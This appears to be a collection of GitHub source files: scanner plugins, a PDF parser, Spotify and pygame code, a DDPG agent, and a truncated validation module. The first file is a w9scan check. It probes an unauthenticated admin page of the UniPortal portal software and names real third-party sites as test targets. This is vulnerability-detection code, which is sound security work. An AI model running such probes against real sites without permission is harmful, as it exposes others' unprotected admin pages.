+{"seq_id":"8535977946","text":"#!/usr/bin/evn python\n#-*-:coding:utf-8 -*-\n\n#Author:404\n#Name:东软通用门户软件 UniPortal 1.2存在通用型未授权访问\n#Refer:http://www.wooyun.org/bugs/wooyun-2015-0125186，http://www.wooyun.org/bugs/wooyun-2010-0116361\n\n\ndef assign(service,arg):\n    if service==\"uniportal\":\n        return True,arg \n    \n\n\ndef  audit(arg):\n    url=arg+\"ecdomain/portal/survey/admin/SurveyStatis.jsp\"\n    code, head, res, errcode, _ = curl.curl2(url)\n    if code==200 and \"|<a href=SurveyStatisShow.jsp\" in res and '<a href=../SurveyShow.jsp' in res:\n        security_hole(url)  \n\nif __name__==\"__main__\":\n    from dummy import *\n    audit(assign('uniportal','http://www.xysfq.com/')[1])\n    # audit(assign('uniportal','http://www.lnbxhrss.gov.cn/')[1])","repo_name":"w-digital-scanner/w9scan","sub_path":"plugins/uniportal/2636.py","file_name":"2636.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1099,"dataset":"github-code","pt":"16"}
+{"seq_id":"25063902943","text":"import fitz\r\nimport pandas as pd\r\nimport re\r\nfrom nltk.corpus import stopwords \r\n\r\ndef flags_decomposer(flags):\r\n    \"\"\"Make font flags human readable.\"\"\"\r\n    l = []\r\n    if flags & 2 ** 0:\r\n        l.append(\"superscript\")\r\n    if flags & 2 ** 1:\r\n        l.append(\"italic\")\r\n        \r\n    if flags & 2 ** 2:\r\n        l.append(\"serifed\")\r\n    else:\r\n        l.append(\"sans\")\r\n    if flags & 2 ** 3:\r\n        l.append(\"monospaced\")\r\n    else:\r\n        l.append(\"proportional\")\r\n        \r\n    if flags & 2 ** 4:\r\n        l.append(\"bold\")\r\n    return \", \".join(l)\r\n\r\ndoc = fitz.open(\"webdownload.pdf\")\r\npage = doc[0]\r\nlabels = ['text','font', 'size', 'color']\r\ndf = pd.DataFrame(columns=labels)\r\npunctuations = '''!()-[]{};:\"\\,<>./?$%^&*_~@#'''\r\ni=0\r\nstop_words = set(stopwords.words('english')) \r\n# read page text as a dictionary, suppressing extra spaces in CJK fonts\r\nblocks = page.getText(\"dict\", flags=11)[\"blocks\"]\r\nfor b in blocks:  # iterate through the text blocks\r\n    for l in b[\"lines\"]:  # iterate through the text lines\r\n        for s in l[\"spans\"]:  # iterate through the text spans\r\n            print(\"\")\r\n            font_properties = \"Font: '%s' (%s), size %g, color #%06x\" % (\r\n                s[\"font\"],flags_decomposer(s[\"flags\"]),s[\"size\"],s[\"color\"])\r\n            print(\"Text: '%s'\" % s[\"text\"])  # simple print of text\r\n            k = re.split(' ',s[\"text\"])\r\n            if(len(k)>1):\r\n                for i in k:\r\n                    if i not in stop_words and i not in punctuations:\r\n                        if i.isspace() == False:\r\n                            if i:\r\n                                df=df.append({'text':i,'font':s['font'],'size':s['size'],'color':s['color']},\r\n                                                  ignore_index=True)\r\n            else:\r\n                df=df.append({'text':s['text'],'font':s['font'],'size':s['size'],'color':s['color']},\r\n                                  ignore_index=True)\r\n                ","repo_name":"kennethjones17/PDFparser_TextpropertyExtractor","sub_path":"Basic parser.py","file_name":"Basic parser.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"17460235862","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/12911\n\ndef one_counter(n):\n    binary = str(format(n, 'b'))\n    one = 0\n    for i in binary:\n        if i == \"1\":\n            one += 1\n    return one\n            \ndef solution(n):\n    answer = 0\n    target = one_counter(n)\n    n += 1\n    while one_counter(n) != target:\n        n += 1\n        \n    return n","repo_name":"updaun/level2-cv-09","sub_path":"src/kkm/algorithm/programmers/level2_다음_큰_숫자.py","file_name":"level2_다음_큰_숫자.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34463241853","text":"\"\"\"\nKe Chen knutchen@ucsd.edu\n\nTone-Octave Network - utils file\n\nThis file contains useful common methods\n\n\"\"\"\nimport os\nimport numpy as np\nimport torch\nimport mir_eval\nimport config\n\ndef index2centf(seq, centfreq):\n    centfreq[0] = 0\n    re = np.zeros(len(seq))\n    for i in range(len(seq)):\n        for j in range(len(centfreq)):\n            if seq[i] < 0.1:\n                re[i] = 0\n                break\n            elif centfreq[j] > seq[i]:\n                re[i] = j\n                break\n    return re  \n\n\ndef freq2octave(freq):\n    if freq < 1.0 or freq > 2050:\n        return config.octave_class\n    else:\n        return int(np.round(69 + 12 * np.log2(freq/440)) // 12) \n\ndef freq2tone(freq):\n    if freq < 1.0 or freq > 2050:\n        return config.tone_class\n    else:\n        return int(np.round(69 + 12 * np.log2(freq/440)) % 12) \n\ndef tofreq(tone, octave):\n    if tone >= config.tone_class or octave >= config.octave_class or octave < 2:\n        return 0.0\n    else:\n        return 440 * 2 ** ((12 * octave + tone * 12 / config.tone_class - 69) / 12)\n\n\ndef pos_weight(data, freq_bins):\n    frames = data.shape[-1]\n    non_vocal = float(len(data[data == 0]))\n    vocal = float(data.size - non_vocal)\n    z = np.zeros((freq_bins, frames))\n    z[1:,:] += (non_vocal / vocal)\n    z[0,:] += vocal / non_vocal\n    print(non_vocal, vocal)\n    return torch.from_numpy(z).float()\n\ndef freq2octave(freq):\n    if freq < 1.0 or freq > 1990: \n        return 0\n    pitch = round(69 + 12 * np.log2(freq / 440))\n    return int(pitch // 12)\n\ndef compute_roa(pred, gd):\n    pred = pred[gd > 0.1]\n    gd = gd[gd > 0.1]\n    pred = np.array([freq2octave(d) for d in pred])\n    gd = np.array([freq2octave(d) for d in gd])\n    return np.sum(pred == gd) / len(pred)\n\n\ndef melody_eval(pred, gd):\n    ref_time = np.arange(len(gd)) * 0.01\n    ref_freq = gd\n\n    est_time = np.arange(len(pred)) * 0.01\n    est_freq = pred\n\n    output_eval = mir_eval.melody.evaluate(ref_time,ref_freq,est_time,est_freq)\n    VR = output_eval['Voicing Recall']*100.0 \n    VFA = output_eval['Voicing False Alarm']*100.0\n    RPA = output_eval['Raw Pitch Accuracy']*100.0\n    RCA = output_eval['Raw Chroma Accuracy']*100.0\n    ROA = compute_roa(est_freq, ref_freq) * 100.0\n    OA = output_eval['Overall Accuracy']*100.0\n    eval_arr = np.array([VR, VFA, RPA, RCA, ROA, OA])\n    return eval_arr\n\ndef tonpy_fn(batch):\n    dict_key = batch[0].keys()\n    output_batch = {}\n    for dk in dict_key:\n        output_batch[dk] = np.array([d[dk] for d in batch])\n    return output_batch","repo_name":"RetroCirce/TONet","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"16"}
+{"seq_id":"20409907135","text":"#!/usr/bin/env python3\n\n'''\nThis modole contains functions for getting data from Spotify API\n\n'''\n\n\n\n########################################################################\n## Import librarys\n\nimport pandas as pd\n\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\n\nimport config\n\n\n\n########################################################################\n## Set connections with API\n\ndef get_spotify_connection() -> spotipy.client.Spotify:\n    \"\"\"\n    Returns a spotipy client connection based on the keys stored in the file \"config.py\"\n    \n    Output:\n      - sp: spotipy client connection\n    \"\"\"\n    \n    cid = config.acces_credentials.get('client_id')\n    secret = config.acces_credentials.get('secret_id')\n    \n    client_credentials_manager = SpotifyClientCredentials(client_id=cid, client_secret=secret)\n    sp = spotipy.Spotify(client_credentials_manager= client_credentials_manager)\n    \n    return sp\n\n\n# get tracks features from a list of id's\n\ndef tracks_features(track_list, sp=get_spotify_connection()):\n    \"\"\"\n    Create a pandas dataframe with the features of the trakcs in the list.\n    \n    Input:\n        -track_list: List of tracks id's\n        -sp: spotipy client connection\n        \n    Output:\n        -pandas dataframe with the features of the tracks list.\n    \"\"\"\n    \n    # get list's len\n    playlist_len = len(track_list)\n\n    # define empty lists for the features\n    track_id = []\n    track_name = []\n    duration_ms = []\n    explicit = []\n    track_popularity = []\n\n    artist_name = []\n    artist_id = []\n\n    album_name = []\n    album_id = []\n    album_type = []\n    release_date = []\n\n    acousticness = []\n    danceability = []\n    energy = []\n    instrumentalness = []\n    key = []\n    liveness = []\n    loudness = []\n    mode = []\n    speechiness = []\n    tempo = []\n    time_signature = []\n    valence = []\n\n    artist_popularity = []\n    artist_genres = []\n    artist_followers = []\n\n\n    # get features in batches\n    for i in range(0,playlist_len,50):\n        batch_list = track_list[i:i+50]\n        playlist = sp.tracks(tracks=batch_list)\n\n        for t in playlist['tracks']:\n            # tracks characteristics\n            track_id.append(t['id'])\n            track_name.append(t['name'])\n            duration_ms.append(t['duration_ms'])\n            explicit.append(t['explicit'])\n            track_popularity.append(t['popularity'])\n\n            # artist characteristics\n            artist_name.append(t['artists'][0]['name'])\n            artist_id.append(t['artists'][0]['id'])\n\n            # album characteristics\n            album_name.append(t['album']['name'])\n            album_id.append(t['album']['id'])\n            album_type.append(t['album']['type'])\n            release_date.append(t['album']['release_date'])\n\n            # get tracks features\n            batch_track_features = sp.audio_features(tracks=track_id[i:])\n\n            # get artists fetures\n            batch_artist_features = sp.artists(artist_id[i:])['artists']\n\n        # add tracks' feature for the current batch    \n        acousticness = acousticness + [feature['acousticness'] for feature in batch_track_features]\n        danceability = danceability + [feature['danceability'] for feature in batch_track_features]\n        energy = energy + [feature['energy'] for feature in batch_track_features]\n        instrumentalness = instrumentalness + [feature['instrumentalness'] for feature in batch_track_features]\n        key = key + [feature['key'] for feature in batch_track_features]\n        liveness = liveness + [feature['liveness'] for feature in batch_track_features]\n        loudness = loudness + [feature['loudness'] for feature in batch_track_features]\n        mode = mode + [feature['mode'] for feature in batch_track_features]\n        speechiness = speechiness + [feature['speechiness'] for feature in batch_track_features]\n        tempo = tempo + [feature['tempo'] for feature in batch_track_features]\n        time_signature = time_signature + [feature['time_signature'] for feature in batch_track_features]\n        valence = valence + [feature['valence'] for feature in batch_track_features]\n\n        # add artists' feature for the current batch\n        artist_popularity = artist_popularity + [feature['popularity'] for feature in batch_artist_features]\n        artist_genres = artist_genres + [feature['genres'] for feature in batch_artist_features]\n        artist_followers = artist_followers + [feature['followers']['total'] for feature in batch_artist_features]\n        \n    # convert to pandas dataframe\n    df_playlist = pd.DataFrame({\n        'track_id': track_id,\n        'track_name': track_name,\n        'duration_ms': duration_ms,\n        'explicit': explicit,\n        'track_popularity': track_popularity,\n        'acousticness': acousticness,\n        'danceability': danceability,\n        'energy': energy,\n        'instrumentalness': instrumentalness,\n        'key': key,\n        'liveness': liveness,\n        'loudness': loudness,\n        'mode': mode,\n        'speechiness': speechiness,\n        'tempo': tempo,\n        'time_signature': time_signature,\n        'valence': valence,\n        'artist_name': artist_name,\n        'artist_id': artist_id,\n        'artist_popularity': artist_popularity,\n        'artist_genres': artist_genres,\n        'artist_followers': artist_followers,\n        'album_name': album_name,\n        'album_id': album_id,\n        'album_type': album_type,\n        'release_date': release_date\n    })\n    \n    # add realise year\n    df_playlist['release_year'] = df_playlist['release_date'].str[:4].astype(int)\n    \n    return df_playlist\n\n\n## get tracks' features from a playlist id\n\ndef playlist_features(playlist_id: str, sp=get_spotify_connection()):\n    '''\n    Create a pandas dataframe with the features of the trakcs extracted from a playlist.\n    \n    Input:\n        -playlist_id: string with the playlist id.\n        -sp: spotipy client\n        \n    Output:\n        -pandas dataframe with the features of the tracks in the playlist.\n    '''\n    \n    # empty list for ids\n    ids_list = []\n    \n    # get playlist total len\n    playlist_len = sp.playlist_tracks(playlist_id=playlist_id, limit=1)['total']\n    \n    # get playlist items in batches\n    for i in range(0,playlist_len,50):\n        # get playlist json\n        batch_json = sp.playlist_tracks(playlist_id=playlist_id,\n                                        limit=50, offset=i)\n        # get batch id's\n        ids_list = ids_list + [item['track']['id'] for item in batch_json['items']]\n    \n    # use tracks features function\n    df_playlist = tracks_features(ids_list, sp)\n    \n    return df_playlist\n\n\n########################################################################\n\ndef main():\n\tpass\n\t\nif __name__ == \"__main__\":\n\tmain()","repo_name":"sergiogg94/spotify_recommender_system","sub_path":"src/data_wranling.py","file_name":"data_wranling.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13216836182","text":"'''\nTake two inputs from the user. One will be an integer. The other will be a float number. Then multiply them to display the output.\n'''\n\n\ndef input_to_number(): \n  '''\n  returning product of values\n  '''\n  first_input = input('Enter value: ')\n  second_input = input('Enter value: ')\n\n  result = int(first_input) * float(second_input)\n\n  return result\n\n\nprint(input_to_number())","repo_name":"ak-alam/Python_Problem_Solving","sub_path":"user_input_2_number/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26338411493","text":"import pygame,random\r\nfrom pygame.locals import *\r\nfrom modules.vector2D import Vector2\r\nimport math\r\nfrom modules.systems import *\r\n\r\nWORLD_SIZE = Vector2(1000,600)\r\n\r\n# Turn these on or off to see the various particle systems\r\nSHOW = {\r\n   \"snow\" : False,\r\n   \"rain\" : False,\r\n   \"smoke\": False,\r\n   \"shower\" : False,\r\n   \"fountain\" : True,\r\n   \"cotton\" : True\r\n}\r\n         \r\n\r\ndef main():\r\n   # Pygame setup\r\n   pygame.init()\r\n   screen = pygame.display.set_mode(list(WORLD_SIZE))\r\n\r\n   clock=pygame.time.Clock()\r\n   \r\n   # Arbitrary line to simulate a floor\r\n   floor = pygame.Rect(0,505,WORLD_SIZE.x,WORLD_SIZE.y)\r\n   \r\n   # Create and simulate the smoke system   \r\n   smoke = SmokeSystem(Vector2(215, 500))\r\n   smoke.simulate()\r\n   \r\n   # Create and simulate the rain system\r\n   rain = RainSystem(Vector2(0,0))\r\n   rain.setWidth(WORLD_SIZE.x * 2)\r\n   rain.simulate()\r\n   \r\n   # Create and simulate the snow system\r\n   snow = SnowSystem(Vector2(0,0))   \r\n   snow.setWidth(WORLD_SIZE.x)\r\n   snow.simulate()\r\n   \r\n   # Create and simulate the shower system\r\n   shower = ShowerSystem(Vector2(615, 20))\r\n   shower.simulate()\r\n   \r\n   fountain = FountainSystem(Vector2(615, 505))\r\n   fountain.simulate()\r\n   \r\n   cotton = CottonwoodSystem(Vector2(0,500))\r\n   cotton.setWidth(WORLD_SIZE.x)\r\n   cotton.simulate()\r\n\r\n   RUNNING = True\r\n   while RUNNING:\r\n      for event in pygame.event.get():\r\n         if event.type == QUIT:\r\n            RUNNING = False\r\n         elif event.type == KEYDOWN:\r\n            if event.key == K_ESCAPE:\r\n               RUNNING = False\r\n            elif event.key == K_1:\r\n               SHOW[\"snow\"] = not SHOW[\"snow\"]\r\n            elif event.key == K_2:\r\n               SHOW[\"rain\"] = not SHOW[\"rain\"]\r\n            elif event.key == K_3:\r\n               SHOW[\"smoke\"] = not SHOW[\"smoke\"]\r\n            elif event.key == K_4:\r\n               SHOW[\"shower\"] = not SHOW[\"shower\"]\r\n            elif event.key == K_5:\r\n               SHOW[\"fountain\"] = not SHOW[\"fountain\"]\r\n            elif event.key == K_6:\r\n               SHOW[\"cotton\"] = not SHOW[\"cotton\"]\r\n            \r\n            elif event.key == K_SPACE:\r\n               rain.toggleActiveAreaDraw()\r\n               smoke.toggleActiveAreaDraw()\r\n               snow.toggleActiveAreaDraw()\r\n               shower.toggleActiveAreaDraw()\r\n               fountain.toggleActiveAreaDraw()\r\n               cotton.toggleActiveAreaDraw()\r\n               \r\n\r\n      # Tick tock\r\n      seconds = min(0.04, clock.get_time() / 1000)\r\n      \r\n      # Fill the screen and draw the floor\r\n      screen.fill((10, 10, 50))\r\n      pygame.draw.rect(screen, (100,100,100), floor)\r\n      \r\n      # Show the systems\r\n      if SHOW[\"rain\"]:\r\n         rain.update(seconds)\r\n         rain.draw(screen)\r\n      \r\n      if SHOW[\"smoke\"]:\r\n         smoke.update(seconds)\r\n         smoke.draw(screen)\r\n      \r\n      if SHOW[\"snow\"]:\r\n         snow.update(seconds)\r\n         snow.draw(screen)\r\n      \r\n      if SHOW[\"shower\"]:\r\n         shower.update(seconds)\r\n         shower.draw(screen)\r\n         \r\n         \r\n      if SHOW[\"fountain\"]:\r\n         fountain.update(seconds)\r\n         fountain.draw(screen)\r\n         \r\n      if SHOW[\"cotton\"]:\r\n         cotton.update(seconds)\r\n         cotton.draw(screen)\r\n         \r\n\r\n      pygame.display.flip()\r\n      clock.tick(60)\r\n      \r\n   pygame.quit()\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"NicholasQNguyen/CSCI-319","sub_path":"16-ParticleEffects-Download/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27437437793","text":"from cs50 import SQL\nfrom flask import Flask, render_template, redirect, request, url_for\n\napp = Flask(__name__)\n\n# tell cs50 library to use sqlite and open a db file called froshims2\n\ndb = SQL(\"sqlite:///froshims2.db\")\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/register\", methods=[\"POST\"])\ndef register():\n    if request.form[\"name\"] == \"\" or request.form[\"dorm\"] == \"\":\n        return render_template(\"failure.html\")\n    db.execute(\"INSERT INTO registrants (name, dorm) VALUES(:name, :dorm)\",\n        name=request.form[\"name\"], dorm=request.form[\"dorm\"]) # : is often a placeholder convention that says 'this is a variable'\n    return render_template(\"success.html\")","repo_name":"pszujewski/cs50_harvardedx","sub_path":"lecture_notes/sql_python.py","file_name":"sql_python.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12130103084","text":"## Find the most frequent element in an Array\r\nimport sys\r\n\r\n# Space complexity : O(n)\r\n# Time complexity : O(n)\r\n\r\narr = [1,2,2,3,3,3,3,4,4,4,5,5,5,6]\r\ndef nonRepeatingEelemnt1(arr):\r\n    count = {}\r\n    for i in arr:\r\n        if i not in count:\r\n            count[i] = 1\r\n        else:\r\n            count[i] += 1\r\n\r\n    ans = []\r\n\r\n    for num, cou in count.items():\r\n        if cou ==1:\r\n            ans.append(num)\r\n    return ans\r\n\r\nnonRepeat = nonRepeatingEelemnt1(arr)\r\nprint(\"Non Repeating element in arr: \", nonRepeat)","repo_name":"Manasa-Shivarudra/Python-DataStructures-and-Coding","sub_path":"Arrays/Simple/nonRepeatingElements.py","file_name":"nonRepeatingElements.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40536403652","text":"\"\"\"\nProject : Homework8.3\n- 거리를 나타내는 단위인 Km와 mile의 양방향 변환 계산기를 구현하라.\n  이 변환기에는 Km 단위 거리와 Mile 단위 거리를 입력할 수 있는 entry가 있으며,\n  Km와 Mile을 나타내는 lable이 표시되고, \"Km->Mile\" 버튼과 \"Km<-Mile\" 버튼이 표시된다.\nAuthor : Ha-Rim Kim\nDate of last update : 2021.11.02.\n\"\"\"\n\nfrom tkinter import*\n\nclass Km_to_Mile:\n    def __init__(self, master):\n        frame=Frame(master)\n        frame.pack()\n        Label(frame, text='km').grid(row=0, column=1)\n        self.km_var=DoubleVar()\n        Entry(frame, textvariable=self.km_var).grid(row=0, column=0)\n        Label(frame, text='mile').grid(row=0, column=3)\n        self.mile_var=DoubleVar()\n        self.mile_var.set(0.0)\n        Entry(frame, textvariable=self.mile_var).grid(row=0, column=2)\n        button_km_to_mile=Button(frame, text='Km -> Mile', command=self.convert_km_to_mile)\n        button_km_to_mile.grid(row=1, column=0)\n        button_mile_to_km=Button(frame, text='Mile -> Km', command=self.convert_mile_to_km)\n        button_mile_to_km.grid(row=1, column=2)\n\n    def convert_km_to_mile(self):\n        km=self.km_var.get()\n        self.mile_var.set(km/1.60934)\n\n    def convert_mile_to_km(self):\n        mile=self.mile_var.get()\n        self.km_var.set(mile*1.60934)\n\n\n\nwindow=Tk()\nwindow.wm_title('Km < - > Mile Converter')\nkm_to_mile=Km_to_Mile(window)\nwindow.mainloop()","repo_name":"jaseok75/YU","sub_path":"2021/2학기/PythonClass/Homework8/Homework8.3.py","file_name":"Homework8.3.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3727005952","text":"from keras.layers import Concatenate, Dense, Flatten, Input\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.callbacks import TensorBoard, LambdaCallback\nfrom rl.agents import DDPGAgent\nfrom rl.memory import SequentialMemory\nfrom rlsp.envs.action_norm_processor import ActionScheduleProcessor\nfrom rl.random import GaussianWhiteNoiseProcess\nfrom rlsp.agents.rlsp_agent import RLSPAgent\nfrom rlsp.utils.util_functions import create_simulator\nimport copy\nimport csv\nimport logging\nimport os\n\nlogger = logging.getLogger(__name__)\n\nEPISODE_REWARDS = {}\n\n\nclass DDPG(RLSPAgent):\n    \"\"\"\n    RLSP DDPG Agent\n    This class creates a DDPG agent with params for RLSP\n    \"\"\"\n    def __init__(self, agent_helper):\n        self.agent_helper = agent_helper\n        self.create()\n        pass\n\n    def create(self):\n        \"\"\"Create the agent\"\"\"\n        assert len(self.agent_helper.env.action_space.shape) == 1\n        nb_actions = int(self.agent_helper.env.action_space.shape[0])\n\n        # set #nodes and #sfs based on env limits. used for splitting the output layer and action processor\n        num_nodes = self.agent_helper.env.env_limits.MAX_NODE_COUNT\n        num_sfcs = self.agent_helper.env.env_limits.MAX_SF_CHAIN_COUNT\n        num_sfs = self.agent_helper.env.env_limits.MAX_SERVICE_FUNCTION_COUNT\n\n        # create the actor NN\n        observation_input = Input(shape=(1,) + self.agent_helper.env.observation_space.shape, name='observation_input')\n        flattened_observation = Flatten()(observation_input)\n        prev_layer = flattened_observation\n        \n        # create hidden layers according to config\n        for num_hidden in self.agent_helper.config['actor_hidden_layer_nodes']:\n            hidden_layer = Dense(num_hidden,\n                                 activation=self.agent_helper.config['actor_hidden_layer_activation'])(prev_layer)\n            prev_layer = hidden_layer\n        # split output layer into separate parts for each node and SF and apply softmax individually\n        out_parts = [Dense(num_nodes, activation='softmax')(prev_layer) for _ in range(num_nodes * num_sfs * num_sfcs)]\n        # logger.info(f\"out_parts: {len(out_parts)}\")\n        # logger.info(f\"out_parts: {out_parts}\")\n        out = Concatenate()(out_parts)\n        # normal output layer\n        # out_test = Dense(nb_actions, activation='tanh')(prev_layer)\n        # logger.info(f\"nb_actions: {len(out_test)}\")\n        # logger.info(f\"nb_actions: {out_test}\")\n        actor = Model(inputs=observation_input, outputs=out)\n\n        # create the critic NN\n        action_input = Input(shape=(nb_actions,), name='action_input')\n        observation_input = Input(shape=(1,) + self.agent_helper.env.observation_space.shape, name='observation_input')\n        flattened_observation = Flatten()(observation_input)\n        prev_layer = Concatenate()([action_input, flattened_observation])\n        # create hidden layers according to config\n        for num_hidden in self.agent_helper.config['critic_hidden_layer_nodes']:\n            hidden_layer = Dense(num_hidden,\n                                 activation=self.agent_helper.config['critic_hidden_layer_activation'])(prev_layer)\n            prev_layer = hidden_layer\n        out_critic = Dense(1, activation='linear')(prev_layer)\n        critic = Model(inputs=[action_input, observation_input], outputs=out_critic)\n\n        # write NN summary to string\n        actor_summary_lst = []\n        actor.summary(print_fn=actor_summary_lst.append)\n        actor_summary = \"\".join(actor_summary_lst)\n        actor.summary(print_fn=logger.debug)\n\n        # write NN summary to string\n        critic_summary_lst = []\n        critic.summary(print_fn=critic_summary_lst.append)\n        critic_summary = \"\".join(critic_summary_lst)\n        critic.summary(print_fn=logger.debug)\n\n        # This following line is causing aliasing issues. Ex: 'nb_observation' is added to agent_config\n        self.agent_helper.result.agent_config = copy.copy(self.agent_helper.config)  # Set agent params in result file\n        self.agent_helper.result.agent_config['nb_observation'] = self.agent_helper.env.observation_space.shape[0]\n        self.agent_helper.result.agent_config['nb_actions'] = nb_actions\n\n        self.agent_helper.result.agent_config['actor'] = {}\n        self.agent_helper.result.agent_config['actor']['summary'] = actor_summary\n\n        self.agent_helper.result.agent_config['critic'] = {}\n        self.agent_helper.result.agent_config['critic']['summary'] = critic_summary\n        self.agent_helper.result.agent_config['metrics'] = ['mae']\n\n        # creating the Agent\n        processor = ActionScheduleProcessor(num_nodes=num_nodes, num_sfcs=num_sfcs, num_sfs=num_sfs)\n        memory = SequentialMemory(limit=self.agent_helper.config['mem_limit'],\n                                  window_length=self.agent_helper.config['mem_window_length'])\n        random_process = GaussianWhiteNoiseProcess(sigma=self.agent_helper.config['rand_sigma'],\n                                                   mu=self.agent_helper.config['rand_mu'], size=nb_actions)\n\n        agent = DDPGAgent(nb_actions=nb_actions,\n                          actor=actor,\n                          critic=critic,\n                          critic_action_input=action_input,\n                          memory=memory,\n                          nb_steps_warmup_critic=self.agent_helper.config['nb_steps_warmup_critic'],\n                          nb_steps_warmup_actor=self.agent_helper.config['nb_steps_warmup_actor'],\n                          random_process=random_process,\n                          gamma=self.agent_helper.config['gamma'],\n                          target_model_update=self.agent_helper.config['target_model_update'],\n                          processor=processor,\n                          batch_size=64)\n        agent.compile(Adam(lr=self.agent_helper.config['learning_rate'],\n                           decay=self.agent_helper.config['learning_rate_decay']), metrics=['mae'])\n        self.agent = agent\n\n    def fit(self, env, episodes, verbose, episode_steps, callbacks, log_interval, agent_id=-1):\n        \"\"\"Mask the agent fit function\"\"\"\n        self.agent_helper.callbacks = self.create_callbacks(self.agent_helper.graph_path, self.agent_helper.config_dir)\n        # create additional, custom callback to store agent's episode rewards\n        EPISODE_REWARDS[agent_id] = []\n        reward_dict_callback = LambdaCallback(\n            on_epoch_end=lambda epoch, logs: [\n                EPISODE_REWARDS[agent_id].append(logs['episode_reward'])\n            ]\n        )\n        self.agent_helper.callbacks.append(reward_dict_callback)\n        steps = episodes * self.agent_helper.episode_steps\n        self.agent.fit(env, steps, verbose=verbose, nb_max_episode_steps=episode_steps,\n                       callbacks=self.agent_helper.callbacks, log_interval=log_interval, nb_max_start_steps=0)\n\n    def test(self, env, episodes, verbose, episode_steps, callbacks):\n        \"\"\"Mask the agent fit function\"\"\"\n        # Check to see if the test is called after training. Causes duplicate CSV headers\n        # when agent is called only for testing.\n        if self.agent_helper.train:\n            # Create a fresh simulator with test argument\n            self.agent_helper.env.simulator = create_simulator(self.agent_helper)\n        self.agent_helper.callbacks = self.create_callbacks(self.agent_helper.graph_path, self.agent_helper.config_dir)\n        self.agent.test(env, episodes, verbose=verbose,\n                        nb_max_episode_steps=episode_steps,\n                        callbacks=self.agent_helper.callbacks)\n\n    def save_weights(self, file, overwrite=True):\n        weights_file = f\"{file}weights.h5f\"\n        dir_path = os.path.dirname(os.path.realpath(weights_file))\n        os.makedirs(dir_path, exist_ok=True)\n\n        # After training is done, we save the final weights in the result_base_path.\n        logger.info(\"saving model and weights to %s\", weights_file)\n        self.agent.save_weights(weights_file, overwrite)\n\n        with open(f\"{file}model_critic.yaml\", \"w\") as critic_yaml:\n            critic_yaml.write(self.agent.critic.to_yaml())\n        with open(f\"{file}model_actor.yaml\", \"w\") as actor_yaml:\n            actor_yaml.write(self.agent.actor.to_yaml())\n\n    def load_weights(self, weights_file):\n        self.agent.load_weights(f\"{weights_file}.h5f\")\n\n    def create_callbacks(self, graph_id, config_dir):\n        # Now we create a tensorboard callback. This logs the episode rewards to the tensorboard.\n        tensorboard_callback = TensorBoard(log_dir=graph_id, write_graph=True, write_images=True)\n\n        # To log the observation vector we add an other callback, which simply outputs the vector.\n        logger_callback = LambdaCallback()\n\n        # write the reward to a csv.\n        run_reward_csv_writer = csv.writer(open(f\"{config_dir}run_reward.csv\", 'a+', newline=''))\n        episode_reward_csv_writer = csv.writer(open(f\"{config_dir}episode_reward.csv\", 'a+', newline=''))\n        run_reward_csv_writer.writerow(['run', 'reward'])  # add a header\n        episode_reward_csv_writer.writerow(['episode', 'reward'])  # add a header\n\n        reward_csv_callback = LambdaCallback(\n            on_batch_end=lambda step, logs: [\n                run_reward_csv_writer.writerow([step, logs['reward']])\n            ],\n            on_epoch_end=lambda epoch, logs: [\n                episode_reward_csv_writer.writerow([epoch, logs['episode_reward']])\n            ]\n        )\n\n        return [tensorboard_callback, logger_callback, reward_csv_callback]\n","repo_name":"DatLQ95/tue_drl_vnf","sub_path":"src/rlsp/agents/rlsp_ddpg.py","file_name":"rlsp_ddpg.py","file_ext":"py","file_size_in_byte":9632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"32569287987","text":"from datetime import time as time_sys, date as date_sys\nimport json\nfrom datetime import timedelta, datetime as datetime_sys\nimport msgpack\nimport os\nimport pytz\nimport re\nfrom slugify import slugify\nfrom socket import _GLOBAL_DEFAULT_TIMEOUT\nfrom typing import Any, Union, TypeVar, Callable, Sequence, Dict\nfrom urllib.parse import urlparse\nimport voluptuous as vol\n\n# Import Yombo libraries\nfrom yombo.core.exceptions import YomboInvalidValidation, YomboWarning\nfrom yombo.core.library import YomboLibrary\nfrom yombo.core.log import get_logger\nfrom yombo.constants import \\\n    TEMP_FAHRENHEIT, TEMP_CELSIUS, MISC_UNIT_SYSTEM_METRIC, MISC_UNIT_SYSTEM_IMPERIAL, WEEKDAYS\nfrom yombo.lib.template import JinjaTemplate\nimport yombo.utils.datetime as dt\n\nlogger = get_logger(\"library.validate\")\n\n# typing typevar\nT = TypeVar(\"T\")\n\n\nTIME_PERIOD_ERROR = \"offset {} should be format 'HH:MM' or 'HH:MM:SS'\"\n\nRE_SANITIZE_FILENAME = re.compile(r\"(~|\\.\\.|/|\\\\)\")\nRE_SANITIZE_PATH = 